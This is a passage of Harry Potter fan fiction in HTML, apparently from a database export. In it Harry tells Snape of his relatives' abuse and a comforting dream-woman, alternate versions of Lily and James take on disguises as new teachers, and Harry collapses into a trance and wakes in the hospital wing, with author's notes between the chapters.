Nimbus usually is the one who makes the professional brooms, under different names, of course.&#8221; Severus was secretly glad that the conversation had strayed away. Talking about the former generations of Potters wasn&#8217;t that nice of a thing. Actually, one could say it was down right unpleasant. </p>\n\n<p>It was a family, in Severus&#8217;s opinion, that had rode itself into the ground. Starting with Brighton and Madelia Potter who were gone so much fighting against Grindelwald that they left their young son and daughter alone. Anthony Potter had to care for his younger sister of four years and thus had missed out on most of his childhood, completely forced to grow up when his parents died before he had graduated Hogwarts. Severus didn&#8217;t know much about the first Aurora Potter, James&#8217;s great-aunt, but he had heard that she had run off to marry some unsavoury young fellow and that if her parents had actually been there, they might have forced her into some common sense and have hindered her running off. But no one really talked about it, and when Severus had once spoken about the matter to Minerva McGonagall, he had gotten an answer of &#8216;you would never understand, Severus, and the matter doesn&#8217;t concern you anyway. Let me just say that Aurora Potter was a wonderful person&#8217;.</p>\n\n<p>So he hadn&#8217;t mentioned it since. But he still had his views, some that were fuelled by his family and some that were made after meeting James Potter. There was definitely something off with that family. But he was brought back into reality when Harry began to talk again.</p>\n\n<p>&#8220;Awesome&#8230;&#8221; Harry trailed off. He knew he should feel more thrilled, but it seemed that nothing was very exciting at the moment. After all, even though he was learning amazing things about his family, most of them weren&#8217;t very favourable. He petted Sal unconsciously. &#8220;What happened to them all, I mean, my dad&#8217;s family?&#8221;</p>\n\n<p>&#8220;They&#8217;re all dead. Your great-grandfather and grandmother were killed by Voldemort and so was your great-uncle, though at a different time, later on.&#8221; Severus sighed. &#8220;It was a tragedy, most people said. The Potters are a <i>very </i>old, <i>powerful </i>and <i>Light</i> wizarding line. They&#8217;re rich and influential and like I said, usually on the side of the Light. Most are Aurors, and they&#8217;re almost always Prefects and Head students. They also have a tradition of marrying right out of Hogwarts, usually their parallel Head student, as I hinted at earlier.&#8221; They both plodded on through the underbrush. Silence reigned for a while as they both thought over various things that were not that important at all.</p>\n\n<p>&#8220;Why do you dislike me?&#8221; Harry surprised even himself at his question. To blatantly ask Professor Snape <i>why </i>he disliked Harry, well, that was like asking for an hour long discussion and then a death warrant. Or perhaps in the other order; first death warrant and <i>then </i>hour long discussion.</p>\n\n<p>But to his great surprise, his Potions Professor seemed to not take offence, and even began to answer. &#8220;I disliked you, because I thought that your mother did not mean anything to you. Because you seemed just like your father&#8230;because you were always getting fawned over, because you&#8217;re always treated like a &#8216;wonder child&#8217;-&#8221;</p>\n\n<p>Harry snorted, causing his teacher to look at him sharply. &#8220;Do you <i>really </i>think I&#8217;m treated like a wonder child, Professor? Because I&#8217;m not. Not at all. Until I received my Hogwarts letter, I was treated like shit by my relatives. I wasn&#8217;t allowed to ask questions, I wasn&#8217;t allowed to play with any of my cousin&#8217;s toys&#8230;I received no new clothes. I lived in a <i>cupboard </i>under the stairs.</p>\n\n<p>&#8220;The summer between my first and second years started okay. The Dursleys seemed a bit frightened that I could do magic, and stayed away from me, for the most part. But then a House Elf performed a Hovering Charm and I got a warning from this &#8216;Mathilda Hopkirk&#8217;, informing me, and my relatives dually, that I wasn&#8217;t allowed to do magic. I got shut into my room and received hardly anything to eat. But then Ron rescued me and I was okay.</p>\n\n<p>&#8220;Summer between Second and Third Years&#8230;well, I stayed in my room mostly, until Aunt Marge came and started talking about how my parents were worthless people, that my mother was a tramp, that my father wasn&#8217;t any better&#8230;and I exploded. Well, I exploded Aunt Marge, that is. I blew her up, like a balloon. That caused my Uncle to go nuts, but I was already half way out the door, that time, with my wand in hand, so he didn&#8217;t do anything. I just ran away to the Leaky Cauldron.</p>\n\n<p>&#8220;Between Third and Fourth Year&#8230;my nightmares with Voldemort started. But I had Sirius to threaten my Aunt and Uncle with, so they didn&#8217;t do <i>too </i>much. Of course they ended up practically starving me, but that wasn&#8217;t necessarily on purpose. Dudley was on a diet and the rule is that I always receive less to eat than Dudley. So when Dudley gets half a grapefruit for breakfast, I get even less than that. And then Ron invited me to the Quidditch World Cup, so I didn&#8217;t have to see them that long.&#8221; Here Harry stopped talking, taking a few deep breaths. Severus watched him closely. Was Potter <i>crying</i>?</p>\n\n<p>&#8220;But this summer, Professor, well, I don&#8217;t know what happened. They were still sore for the Weasleys coming to get me last summer, because Fred and George fed my cousin a Ton-Tongue-Toffee, and Mr Weasley had to shrink Dudley&#8217;s tongue. Not to mention that they came by Floo and had to blast the fireplace open&#8230; So as soon as we got home, I got shoved into the cupboard again. I hadn&#8217;t slept in there since I was ten, so it was a hard fit. And that was just the beginning.</p>\n\n<p>&#8220;Dudley used to beat me up, when he could catch me. And I&#8217;d get the occasional slap, or shove. I remember Dudley once shoved me down the stairs when I was nine&#8230;I think I might have broken a few bones. But then, the next day, they were almost healed. So I don&#8217;t know what to think. In any case,&#8221; Harry started stroking Sal and took a few deep breathes, &#8220;I was abused, but not too badly. Nothing too remarkable, nothing that would show. Until this summer, that is. </p>\n\n<p>&#8220;Dudley hadn&#8217;t lost any weight, he had gained more. He was failing in school and was declaring that it was my fault. &#8216;Harry magiked me!&#8217; he&#8217;d cry out. At school, they assumed he was mentally unstable, which also made Aunt Petunia and Uncle Vernon even madder. So when I got home, everything was suddenly my fault.</p>\n\n<p>&#8220;I had always been treated like a servant, but this time they gave me <i>unimaginable </i>amounts of work. And I had to finish them all before it was dark. Whenever I &#8216;did&#8217; something, I got slapped, punched, kicked, you name it. And Dudley made things even worse. I&#8217;ll admit that Aunt Petunia didn&#8217;t really do anything too bad, but Uncle Vernon and Dudley more than made up for it.</p>\n\n<p>&#8220; I was constantly in pain, I had constantly broken bones. But they all seemed to heal over night&#8230;I have bruises and scars and I tried writing to Dumbledore, to let me go to Ron&#8217;s, but he said I couldn&#8217;t. And I guess that if I had told him, he might have let me&#8230;but I was stupid, and thought I deserved it.</p>\n\n<p>&#8220;The TriWizard Tournament last year just-I don&#8217;t know even, Professor. I was convinced that it was all my fault, that Cedric died because of me. And the dreams&#8230;I wasn&#8217;t having <i>visions</i>, but I was still replaying the scene, over and over again. I&#8217;d wake up screaming, which caused my Uncle to get even more madder at me, because I was too loud. </p>\n\n<p>&#8220;I was convinced that I deserved everything I got, so I didn&#8217;t fight back, or run away, like I could have. I was too&#8230;defeated. I even debated once turning myself in to Voldemort. But then&#8230;I started having these dreams. There was a woman, she was pretty, and fairly young, perhaps eighteen or so. And she&#8217;d talk to me while I slept. She convinced me not to turn myself in, not to do anything drastic. I assume I&#8217;m probably indebted to her, but then again, she probably doesn&#8217;t even exist. I-&#8221;</p>\n\n<p>&#8220;A woman, you say?&#8221; Severus cut Harry off. He couldn&#8217;t believe it. If Potter was right&#8230;</p>\n\n<p>&#8220;Yes. She was young, like I said, with dark hair and dark eyes. She was wearing a black dress&#8230;like something out of the Middle Ages, perhaps. And she was sad&#8230;and she sang. Always these haunting melodies, but they made me feel better&#8230;I &#8216;d ask her questions, but she never answered. She knew what I was thinking though. She convinced me not to- she told me I was needed&#8230;that I shouldn&#8217;t do anything rash.&#8221; Harry trailed off, sighing as he observed his Professor.</p>\n\n<p>Professor Snape was standing there, gripping a branch of a tree that was slowly turning his hand blue. But he didn&#8217;t seem to notice, which Harry silently laughed at. Sal noticed it too, and began to hiss in laughter. &#8220;Potter&#8230;we have to tell the Headmaster, first thing. I believe&#8230;&#8221; He shook his head.</p>\n\n<p>Harry, however, was now interested. &#8220;What&#8217;s so important? Professor, what&#8217;s going on?&#8221;</p>\n\n<p>Severus rubbed his eyes, noticed his blue hands and cursed. &#8220;I&#8217;m not positive, Potter, but I believe you might have been helped by a Genua. Or a Banshee. Since both these creatures are rare, it&#8217;s best to let the Headmaster know. But since I&#8217;m not positive, there&#8217;s an even bigger need to tell him. There are many dangerous creatures that Dream-Travel and getting caught up in one is <i>not </i>a good thing.&#8221; He began to continue through the Forest.</p>\n\n<p>Harry ran to catch up. &#8220;Wait, what&#8217;s a Genua? And don&#8217;t Banshees foretell death?&#8221;</p>\n\n<p>&#8220;A Genua is a spirit who attaches themselves to a person. They&#8217;re usually a relative and feel like they have to protect them. <i>They </i>don&#8217;t have ulterior motives, Potter, but there are cousins to them, who have. Ask the Headmaster more about them, if you need to. They&#8217;ve died, or have their souls separated from their bodies, which gives them the power to travel through the different planes. And there are different kinds of banshees, Potter. Most foretell death, that is true. But some also are there to protect someone, whose death is very near.&#8221; Professor Snape decided to change the subject, before Harry could ask any more questions. Dreaming was a subject that he did <i>not</i> want to get into with Potter. There was too much to it and too many secrets to be given away. But he inwardly groaned as the only topic he could think of that would bring Potter&#8216;s attention away from Dreaming was almost as unpleasant as Dreaming. &#8220;I was supposed to take care of you, when your parents died, Potter.&#8221; </p>\n\n<p>He succeeded. Harry was too shocked to continue questioning him on the subject. &#8220;What? But Sirius-&#8221;</p>\n\n<p>&#8220;Though Black was your godfather, Lily wasn&#8217;t to convinced in his abilities of taking care of a one-year-old. I don&#8217;t blame her.&#8221; He said dryly. He decided that if he kept walking straight ahead, he wouldn&#8216;t have to pay attention to Potter. &#8220;In any case, before they performed Fidelus, Lily and James wrote that in the event of Black not being able to take you, I was to receive custody. Lily never trusted Peter&#8230;so I wonder quite often <i>why</i> she trusted him with her life, and Remus was a were-wolf. Were-wolves, under Ministry law, are not allowed to have custody of children under Hogwarts age. And you know what happened to Black. Of course, at the time, they did not know what was to happen. Lily explained to me that if Sirius ended up dying or so, was when I was to step in. Unfortunately, the Headmaster did not share her views.</p>\n\n<p>&#8220;At the time, I was quite depressed myself. I had just began teaching that year and it didn&#8217;t help to have students, who from Third Year and up, knew me as a student, and knew Lily and James as well. I had to wait a year before feeling composed enough to take you on. And then Professor Dumbledore said he couldn&#8217;t let me have you- though I was no Death Eater anymore, many people, including former Death Eaters viewed me as one, and leaving the &#8216;Boy-Who-Lived&#8217; in my care would be a disaster.</p>\n\n<p>&#8220;I didn&#8217;t see you until you were Sorted and was quite shocked. I assumed you&#8217;d have more of your mother in you, but your looks are almost entirely your father&#8217;s. Unfortunately. And then your behaviour, I was convinced that you were just like him. I disliked you instantly. Especially because it seemed you did not try in any of your classes&#8230;just like your father. You are not stupid, Potter, and you&#8217;d be brilliant in Potions, if only you&#8217;d actually pay attention in class and study your books. Because of these factors, and the fact your mother <i>died</i> to save you, and you seemed not to care at all, I disliked you.&#8221; Severus stopped. And before he could stop himself, he quickened his step and said, &#8220;Therefore I apologise, Potter, for believing you were your father.&#8221;</p>\n\n<p>Harry stood there, in the forest, watching his Professor hurry away, frozen in place. Professor Snape, who had always disliked Harry, had <i>apologised. </i>And then he realised that he could barely see his teacher any more and that he was soon going to be left alone in the forest. &#8220;Professor! Wait!&#8221; He hurried off after him.</p>\n\n<p>But by then they were almost out of the forest and Harry could see Hagrid&#8217;s cabin in front of them. There was no more chance to talk to Professor Snape and Harry could almost sense them going back to hated Professor and hated Student.</p>\n\n<p>***</p>\n\n<p>&#8220;Let me try.&#8221; Lily held her right hand over her head and swirled her pointer and middle finger over her head counter-clockwise twice before snapping them. Instantly her appearance began to change. Dark red became light brown less curly, more wavy hair and bright green became hazel eyes. Her face changed a little, but not much. She smiled in new light lilac robes. &#8220;And?&#8221;</p>\n\n<p>&#8220;You look wonderful, Lils.&#8221; James grinned and clapped his hands as he repeated the same. Instantly a man was standing there with actual controllable medium brown hair, blue eyes and dark green robes.</p>\n\n<p>Arabella applauded slightly as Minerva nodded in approval. &#8220;You know, I don&#8217;t think I&#8217;m ever going to get used to seeing such displays of Power again. Harry hasn&#8217;t began to show yet and that&#8217;s slightly worrying me.&#8221; Arabella looked James and Lily down, inspecting every angle. </p>\n\n<p>Dumbledore&#8217;s eyes twinkled. &#8220;Never fear, Arabella, Harry had definitely proved his capability. His appearance in my office last night proves it, as well as that glow. Those of us Sensitive are going to either begin shielding our eyes or have Harry learn to turn down his Glow.&#8221;</p>\n\n<p>Minerva nodded. &#8220;Quite right. He&#8217;s turned fifteen, he should start learning now. But you two will have to teach him, Lily, James. As far as I know, besides Harry and you two, there is no one else who has the Power. And there are only so few left who are Sensitive to it.&#8221;</p>\n\n<p>&#8220;Yes, Minerva, you are right. But now we must move on. Lily and James, you two will need new names. Obviously you can&#8217;t teach as Lily and James Potter&#8230;perhaps something that has roots in your names?&#8221; Dumbledore thought for a moment. &#8220;Marie and Anthony Evans? Easy to remember but not obvious to any one else.&#8221;</p>\n\n<p>&#8220;That&#8217;s fine, Pro-Albus. But what about history?&#8221; James fixed his glasses. </p>\n\n<p>&#8220;I doubt the students will be that curious. I think it is enough you say you are pure-blooded so the Slytherins are more&#8230;obeying.&#8221; And with that, Professor Dumbledore left the room to go into his office. &#8220;I must write the Daily Prophet and announce that the position is filled.&#8221;</p>\n\n<p>***</p>\n\n<font face="Verdana Ref" size="2"><p></p>\n\n<p>I <i>think</i> everything&#8217;s pretty much been explained in this chapter, so I&#8217;m not going to write anything here. If you <i>do</i> have questions, please e-mail me/leave a review/join my group so I can answer it.</p>\n\n<p>Sorry that the James/Lily bit is so short, but the main content of the chapter is the conversation between Harry and Severus. </p>\n\n<p>Chapter 9: Snape tells Dumbledore, Harry and Sal have two talks, Harry ends up in the Hospital Wing, we find out what&#8217;s wrong with Lily, we learn a bit more about Harry&#8217;s views on Lily and James, and an old friend is introduced.</p>\n\n<p>-Myra, 10/26/03</p>\n\n<p>Edited by Myra, 11/8/03</p>\n\n</font>\n\n '),
	(137, 9, ' <font face="Verdana" size="2"><p>Before I start this Chapter, let me address a few points. </p>\n\n<p>First, Snape and Harry&#8217;s discussion last chapter. Several of you commented on this. It <i>will</i> be important, Harry and Snape&#8217;s relationship&#8230;, no slash of course, but one of friendship. Harry needs someone in his life who will always be truthful and not hold anything back. Not only with the Lily and James thing, but also with many other obstacles Harry needs to get through. He has friends his own age, but he needs an adult he can relate to and he finds this in Snape.</p>\n\n<p>Sal and Harry are more evident in this chapter and he and Harry will definitely have many more important conversations. Sal has a purpose like Snape&#8217;s-someone to be there for Harry and let him know that he isn&#8217;t alone and there are people, er, <i>things</i> that understand him. As to if he speaks English, this will later be addressed in this chapter.</p>\n\n<p>As for what Sensitive and Power are, I hope to explain them in Chapter 11, if not fully. After all, they&#8217;re quite intensive branches of magic. But <i>Hexe605</i>, you are pretty much there&#8230;actually, you managed to explain it quite simply, unlike the explanation Harry&#8217;s going to have to hear&#8230;</p>\n\n<p><i>Portkey reviewers:</i> Thanks for the reviews. <i>billyvoodoo42</i>, your reviews are fine..to tell the truth they\'re quite nice. So no problem. As to the Sorting, that shouldn\'t appear till Chapter 12/13, but I\'ll keep your House preferance in mind. And <i>SaraMalfoy</i> thanks for being my 75th reviewer. I\'ll e-mail you in a bit-I\'ve been pretty busy lately, but thanks for the review and start thinking about a character you\'d like to be. Anyway, thanks for the reviews all of you.</p>\n\n<p>And now that I&#8217;ve answered some questions and comments, I present to you Chapter 9.</p>\n\n<p></p>\n\n<p>***</p>\n\n<p>Chapter 9: Complicated</p>\n\n<p>***</p>\n\n<p></p>\n\n<p></p>\n\n<p>&#8220;Headmaster!&#8221; Snape slammed the office door close, leaping over the steps, hurrying to get there. It was most important that Dumbledore was informed over Potter&#8217;s dreams. There were several situations that came to mind, but the one he liked the least seemed to be the most probable.</p>\n\n<p>But he got a shock when two strangers walked out of a small room to the side, in the company of the Headmaster. The woman had light brown wavy hair and hazel eyes, with a kind face. The man, he guessed to be her husband, for they were both holding hands tightly, had medium brown coloured hair, blue eyes and a mischievous grin. </p>\n\n<p>Letting go of his wife&#8217;s hand, he walked up to the startled Potions Master. He held out his own hand and after scrutinizing the man, Severus decided to take it, wondering if that might not have been the best idea. &#8220;Anthony Evans, my wife Marie and I are taking over the Defence Against the Dark Arts job. And you must be Severus Snape, the Potions Master.&#8221;</p>\n\n<p>Snape nodded slowly, annoyed. It seemed Dumbledore <i>had</i> managed to find a teacher at the last minute. And he had <i>wanted</i> that job. &#8220;Correct.&#8221; He said icily. &#8220;How would you know that?&#8221;</p>\n\n<p>And he suddenly got a bad feeling as the man grinned even more. &#8220;Well, I was asking about the teachers and they said that the Potions Master was the guy who never washed his hair, bathed, always wore black and looked like a vampire bat. And I saw you and said &#8216;that&#8217;s <i>got</i> to be-&#8217;&#8221;</p>\n\n<p>&#8220;James Anthony Potter, you <i>better</i> stop baiting Severus or else you&#8217;ll be sleeping on the couch for a month!&#8221;</p>\n\n<p>Snape scowled even more if that were possible. James Potter had managed to prank him. Again. One thing about his death that Severus had enjoyed was the fact that Lupin was never one much for playing pranks, Black was in Azkaban and thus unable to play pranks, Pettigrew was too stupid to play pranks, but he was considered dead anyway and Potter was dead. No more Marauders. Until the abominable Weasley twins showed up, Potter showed up, Black escaped and now Potter senior was back. </p>\n\n<p>It definitely wasn&#8217;t going to be a good year.</p>\n\n<p>But before Severus could curse James into oblivion, or at least wipe that damn smirk off of his face, Dumbledore cleared his throat.</p>\n\n<p>&#8220;Severus, before you curse Professor Evans, is there something you wanted? You came in here making quite the scene.&#8221;</p>\n\n<p>Severus sighed and giving James Potter one last glare, turned to the Headmaster. &#8220;Yes. I found Potter Jr and we had a <i>discussion</i>. He revealed a few things to me, Headmaster, which caused me some alarm.&#8221;</p>\n\n<p>&#8220;Is Harry all right?&#8221; Lily suddenly interrupted, her new brown eyes filled with tears. </p>\n\n<p>Severus rolled his eyes. &#8220;Potter&#8217;s fine. He has a new friend, but he&#8217;s otherwise his usual self. But he told me something alarming about his summer.&#8221;</p>\n\n<p>Lily instantly turned white and Severus had a hard time remembering that it was Lily and not some stranger in the office. He had to admit that he preferred Lily&#8217;s other looks better than her &#8216;Marie&#8217; disguise. James crinkled his forehead and Dumbledore looked grave.</p>\n\n<p>&#8220;What is it, Severus?&#8221; Dumbledore finally said, his eyes meeting Severus&#8217;s. &#8220;And where is Harry?&#8221;</p>\n\n<p>&#8220;I found him in the Forbidden Forest. He was glowing again, but so bright it was impossible to look at him. He found a snake, a quite rare one, though I can&#8217;t place the name. But it was on our way out of the Forest that Potter began talking to me. He has dreams, Headmaster, but not just ordinary dreams. He says that there is often a woman in his dreams, stopping him from doing anything rash. He says that he would have probably killed himself if it weren&#8217;t for that woman. She&#8217;d sing to him, talk to him, reassure him. </p>\n\n<p>&#8220;I think that he&#8217;s under the influence of a Genua or a banshee or something similar. But then again it could be something sent by Voldemort, though Potter <i>did</i> say it had stopped him from turning himself in to Voldemort and you&#8217;d think anything sent by Voldemort would <i>encourage</i> that.&#8221;</p>\n\n<p>Lily looked worried, even more worried than before if that were possible and found a chair, lowering herself into it. &#8220;I don&#8217;t suppose he said anything about us?&#8221;</p>\n\n<p>Severus closed his eyes, shaking his head. He hated to let Lily down, but it was true. Potter had said nothing about Lily or James. It had been he had done the talking and most of the talking consisted of the past, not of the presence. &#8220;No, he did not say a thing.&#8221;</p>\n\n<p>Dumbledore walked behind his desk, pulling out a book that sat on a shelf nearby. &#8220;Severus, what you have told me is not unexpected. Harry shall stay here for the rest of the summer, the few weeks we have left, that is, and we will try to learn about his dreams.&#8221;</p>\n\n<p>&#8220;Pro-Albus, do you know what is wrong with Harry?&#8221; James looked up from the hole he was staring in the floor. </p>\n\n<p>&#8220;I have only an educated guess, James, but I hope that it is not true.&quot;</p>\n\n<p>***</p>\n\n<p>Harry flopped down in the Gryffindor Common Room. It had taken some work to convince the Fat Lady to let him in without a password, but after pointing out to her that it was summer, he was in Gryffindor and that no one else was there, she finally grudgingly let him in.</p>\n\n<p>Sal was taking in the sights of his new Master&#8217;s living quarters. Although Harry had tried to convince Sal not to call him Master and just Harry, Sal had finally settled at &#8216;Master Harry&#8217;.</p>\n\n<p>Harry decided to let the matter go.</p>\n\n<b></b><p><b>&#8220;Sal, why are they here?&#8221;</b> He decided to say instead, staring into the flames that had suddenly appeared when he thought that a fire might be nice. Sal didn&#8217;t need any explaining.</p>\n\n<b></b><p><b>Because they were called here</b>.</p>\n\n<p>Harry shut his eyes. &#8220;<b>But I don&#8217;t <i>want</i> them here, Sal. I don&#8217;t need them and they&#8217;re nothing to me.&#8221;</b></p><b>\n\n</b>\n\n<p>Sal stayed silent for a while. It seemed as if he were thinking. <b>I do not know, Master Harry. Perhaps they are here because you <i>will</i> need them.</b></p><b>\n\n</b>\n\n<b></b><p><b>&#8220;But I <i>have</i> everything I need. And I don&#8217;t need someone pretending that I&#8217;m his or her son, when I&#8217;m not. They&#8217;re not my parents. This Lily Potter didn&#8217;t sacrifice her life for mine, she tried and failed. She&#8217;s not my mother and this James isn&#8217;t my father. Even if they truly <i>were</i> my parents, they&#8217;ve missed so much of my life&#8230;they don&#8216;t know anything about <i>me</i>, just what I might have been&#8230;&#8221;<i>\n\n</i></b>Harry sighed, opening his eyes. </p>\n\n<b><p>The only advice I can give you, Master Harry, is to just proceed how you see fit. Perhaps they <i>can</i> help you, in time. Magic is a very tricky thing and so is Fate.</p>\n\n</b>\n\n<p>He watched the flames dance and began to think. &#8220;<b>Sal, what should I do then, while they&#8217;re here? This James Potter is being quite an idiot and this Lily&#8217;s so <i>fragile</i>. I don&#8217;t even know what to call them. &#8216;Mum&#8217; and &#8216;Dad&#8217; are out-they&#8217;re not my parents and Mr and Mrs Potter seem too <i>old</i>. If they&#8217;re really alternate versions of my parents, they must be in their thirties. So I guess I have to call them &#8216;Lily&#8217; and &#8216;James&#8217;.&#8221;</b></p><b>\n\n<p>If that makes you feel right, Master Harry. I cannot tell you what to do, only guide you. And it worries me, with this coming Darkness...</p>\n\n</b>\n\n<p>&quot;<b>What do you mean, \'this coming Darkness\'? Voldemort\'s back, we know that. But is he going to do anything really big?&quot;</b></p><b>\n\n</b><p>Sal shrugged, at least as much as a snake could.<b> I do not know, Master Harry. I-</b> he hesitated. <b>No, I cannot say anything yet. It is too uncertain and I do not wish to mislead you with a half-truth.</b></p><b>\n\n</b>\n\n<p>Harry sighed, dropping his heads in his hands. <b>&quot;All I want is just to be <i>normal</i>. Not some freak. Not some orphaned kid whose parents have magically reappeared-except that they aren\'t really his parents, but from an Alternate Universe. Not some kid who has a Dark Wizard after him for some unknown reason. Not some kid who can talk to snakes-no offence. Not some kid who has dreams and visions and had to be talked out of killing himself by a woman in a <i>dream</i>. </b></p><b>\n\n<p>&quot;Hell, I still don\'t know what to believe, Sal. I mean, she was just a <i>dream</i>, but then she seemed so real. And the way she talked. She seemed to know me. And-&quot;</p>\n\n</b><p><b>She did</b>, Sal interrupted. <b>She did know you. Or perhaps you not personally, but she has a connection with you.</b></p><b>\n\n</b><p>Harry blinked. <b>But-who is she then? And how does she have a connection with me?&quot;</b>\n\n</p>\n\n<b><p>It\'s not my right to answer. You\'ll have to be patient, Master Harry.</p>\n\n<p>&quot;<i>Patient</i>? I\'m <i>tired</i> of being patient. No one seems to tell me <i>anything</i> and it\'s really beginning to annoy me.&quot;</p>\n\n<p>I do not wish to hide anything from you, Master Harry, but there are certain things that I may not reveal. Snakes follow a code, Master Harry, and this code cannot be broken, otherwise I will loose my power of Seeing and turn into a normal garden snake. You must learn about certain things yourself.</p>\n\n</b>\n\n<p>Harry said decided to say nothing and just stared into the flames. He watched as they danced around, twisting and turning as he wished, making shapes and figures, finally morphing into the one face that haunted his dreams nightly, who had kept him on this earth, who had-</p>\n\n<p>&#8220;Harry James Potter!&#8221; Harry jumped back, the face disappearing as his concentration broke. Turning around to glare at the person behind him, he was shocked to see his Head of House.</p>\n\n<p>Professor McGonagall was standing there, arms crossed. &#8220;We&#8217;ve been wondering where you were, Potter. Professor Snape told us that as soon as you got out of the Forest you ran off in one direction while he returned to the Headmaster&#8217;s Office.&#8221;</p>\n\n<p>Harry shrugged, his attention returning to the flames. Professor McGonagall noticed this however. &#8220;Strange,&#8221; she said, &#8220;that there is a fire going. The House Elves know to keep the fires out during the summer.&#8221; But even as she said this, she noticed the odd quality of the flames and made a mental note to talk to the Headmaster later.</p>\n\n<p>Harry ignored this and closed his eyes, letting the flames take control. He had no conscious idea what he was doing, but unconsciously he knew that it was right. He let the heat slide over him, hot to the touch but not burning, more a comfortable feeling that made him wish never to leave. And the face was there again, but this time attached to a body, the same young woman who would spend hours in his dreams, comforting him.</p>\n\n<p>And as he saw her, she reached out a hand and Harry reached for it. He knew that he should take it, that he <i>had</i> to take it. The distance between their out-reached hands was steadily closing as Harry walked towards the silent and motionless figure and soon he was almost there. With one last step he reached out his hand, leaning forwards to take her hand in his.</p>\n\n<p>Their hands touched.</p>\n\n<p>And he fell into blackness.</p>\n\n<p>***</p>\n\n<p>He tried to open his eyes, but couldn&#8217;t. It was the same feeling he had had at Mrs Figg&#8217;s, different somehow. Instead of the darkness he had seen before, this time he still saw darkness, but also different shapes in different colours and brightness. He blinked as the shapes formed into the outlines of people. Three were quite tall, while one was shorter than the rest and the other two were of an average height. </p>\n\n<p>The tallest was a dark blue colour, shining very brightly. Harry could tell that this meant he was very powerful and guessed that it was Professor Dumbledore. The next two, one shorter than the rest, were both in a silver colour, both shining even brighter than the blue one (Professor Dumbledore). Harry took it to mean that those were Lily and James.</p>\n\n<p>The other tall one was shining black, but with a thread of silver mixed in. The black was very dark and Harry decided that this meant that it was a powerful wizard. He also decided that it had to be Professor Snape, unfortunately, which meant that his Professor happened to be very powerful. Something he wasn&#8217;t necessarily sure if it were a good thing or not.</p>\n\n<p>The next to shapes were fairly bright, one the same dark blue as Professor Dumbledore, what Harry took to be Arabella and the other was a reddish colour, most likely Professor McGonagall.</p>\n\n<p>As long as he couldn&#8217;t open his eyes, he decided to listen to the conversation. It seemed like an excellent idea of how to get information without having to spy, eavesdrop of wait for a long period of time.</p>\n\n<p>&#8220;&#8230;Trance.&#8221; That must be Professor McGonagall.</p>\n\n<p>&#8220;It is as I expected, Minerva.&#8221; Dumbledore, definitely.</p>\n\n<p>&#8220;And that would be?&#8221; Hmm&#8230;Snape. There was that same haughtiness in the voice.</p>\n\n<p>&#8220;I still do not wish to say it, Severus. It fits all the signs, but even I can be mistaken and I wish to observe him more. If I truly <i>am</i> right, then this has many grave consequences, but also has good merits.&#8221;</p>\n\n<p>&#8220;But you&#8217;re <i>never</i> wrong!&#8221; James, the idiot. It had to be.</p>\n\n<p>A chuckle. &#8220;James, as proud as I am to hear you say that, I am wrong occasionally. For instance, I never released that Peter was the spy, nor that Tom Riddle was going to turn evil. I may be right most of the time, but I&#8217;m often very wrong.&#8221;</p>\n\n<p>&#8220;Well, Albus, any insight then into what&#8217;s going to happen with Harry?&#8221; Hmm&#8230; that was a hard one&#8230;must be Mrs Figg.</p>\n\n<p>&#8220;At the moment, I think the only thing we can do is wait. Harry has many secrets, several that even I know nothing about and I doubt he knows himself.&#8221;</p>\n\n<p>&#8220;But then, Professor-er, I mean Albus, what about Harry? Are you sure he&#8217;ll be all right?&#8221; That had to be Lily. Harry recognised her wavering voice.</p>\n\n<p>Just then another light appeared. It was a light pink and not <i>that</i> bright, but still bright. &#8220;All right, Professor Evans, he&#8217;ll be fine. But now I have to throw you out. He&#8217;s my patient and he needs his rest, not to be pestered by teachers, Headmasters or relatives of Headmasters. Now <i>out</i>!&#8221; Madame Pomfrey, no question there. </p>\n\n<p>He felt himself being lifted up, and Madame Pomfrey muttered something about &#8216;having Potter in here <i>before </i>the term starts, wonder how many times he&#8217;ll be in here <i>this</i> year&#8217;. And then he felt a cool liquid being poured down his throat and felt a feeling of calmness before settling into a deep sleep.</p>\n\n<p>***</p>\n\n</font><font face="Book Antiqua">\n\n</font><font face="Verdana" size="2"><p>When he woke up again, this time being able to open his eyes fully, he found Lily Potter asleep in the chair next to him, his hand clutched tightly in hers. He tried tugging his hand, but it made her hold on tighter, beginning to whimper about not ever letting him go.</p>\n\n<p>So he sighed and crossed his arms as best as he could, which didn\'t work too well, and waited for someone to rescue his hand, which he was slowly loosing the feeling of.</p>\n\n<p>Luckily, after a few minutes Madame Pomfrey walked in, muttering about impolite and ungrateful wizards in Hogsmeade who were stupid enough to punch out windows when drunk and the local medi-witch being away. Unfortunately, she didn\'t seem to notice him.</p>\n\n<p>&quot;Er...Madame Pomfrey...&quot; She whirled around, dropping a jar of a purple powder and didn\'t manage to catch it before it broke on the floor. </p>\n\n<p>&quot;Potter! You\'re finally awake. Good, now you can take this medicine, it should help clear your head while I clean up <i>this</i> mess...what an annoyance it will be. Honestly, Powdered Froschen is hard to get and it stains terribly...&quot; Her back was now turned to him as she poured out a goblet of a steaming liquid.</p>\n\n<p>&quot;Come Potter, here it is, this ought to help you-&quot; She held it out to him.</p>\n\n<p>&quot;But my head\'s fine.&quot; He weakly protested as Madame Pomfrey came barring down at him. </p>\n\n<p>&quot;No it isn\'t, Potter, now take this.&quot; She waited impatiently as Harry reached for it with his left hand, visibly shaking. He had enough bad experiences with medicines from Madame Pomfrey that he knew it was going to be unpleasant. And sure enough it was. Until he spilled a drop on his sheet and it hissed, burning a hole right through it.</p>\n\n<p>&quot;Careful, Potter! It\'s very potent! Use both hands!&quot;</p>\n\n<p>He rolled his eyes. &quot;I\'d love to, Madame Pomfrey, but it\'s sort of hard to do, seeing how Lily has my right hand.&quot;</p>\n\n<p>Madame Pomfrey at least looked a bit shocked. &quot;Oh, of course.&quot; She studied the sleeping woman. &quot;Well, then we\'ll just have to wake her up. Surgio!&quot;</p>\n\n<p>Lily slowly opened her eyes as a yellow spell hit her. She blinked a few times before dropping Harry\'s hand, rubbing her own eyes. &quot;Poppy...what time is it?&quot;</p>\n\n<p>&quot;About eight, Lily. But Harry needed his hand back and you wouldn\'t let go.&quot;</p>\n\n<p>Lily looked shocked, turning to Harry. &quot;Oh, Harry, I\'m so sorry...I didn\'t mean to- I-&quot;</p>\n\n<p>&quot;It\'s okay.&quot; He flatly said, his vision trained on the woman who seemed to be blinking back tears. &quot;There\'s no reason to cry about it.&quot;</p>\n\n<p>Unfortunately this made her cry even harder. He suddenly felt uncomfortable, slowly sliding under his blankets until only his face showed and his arm holding the goblet was free. &quot;Er...Lily? Everything\'s fine, there\'s nothing to cry about...Lily?&quot; For when Harry addressed her as Lily, she began to cry even 